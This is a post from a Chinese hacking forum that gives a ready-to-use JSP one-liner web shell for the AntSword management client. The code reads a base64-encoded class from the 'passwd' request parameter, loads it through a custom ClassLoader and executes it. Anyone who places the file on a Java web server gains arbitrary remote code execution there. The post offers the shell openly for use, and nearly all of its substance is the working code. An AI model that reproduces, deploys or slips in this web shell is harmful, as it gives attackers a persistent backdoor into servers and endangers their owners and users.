antsword jsp 一句话链接-女黑客-必火安全学院

女黑客

 找回密码
 立即注册

QQ登录

只需一步,快速开始

antsword jsp 一句话链接

[复制链接]
发表于 2023-1-11 12:26:46 | 显示全部楼层 |阅读模式
  1. <%!
  2.     class U extends ClassLoader {
  3.         U(ClassLoader c) {
  4.             super(c);
  5.         }
  6.         public Class g(byte[] b) {
  7.             return super.defineClass(b, 0, b.length);
  8.         }
  9.     }

  10.     public byte[] base64Decode(String str) throws Exception {
  11.         try {
  12.             Class clazz = Class.forName("sun.misc.BASE64Decoder");
  13.             return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
  14.         } catch (Exception e) {
  15.             Class clazz = Class.forName("java.util.Base64");
  16.             Object decoder = clazz.getMethod("getDecoder").invoke(null);
  17.             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
  18.         }
  19.     }
  20. %>
  21. <%
  22.     String cls = request.getParameter("passwd");
  23.     if (cls != null) {
  24.         new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
  25.     }
  26. %>

复制代码
截图202301110426431189.png
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|小黑屋|女黑客 |网站地图

© Copyright 2021 版权所有(一极教育科技有限公司)

津ICP备17008032号-3
快速回复 返回顶部 返回列表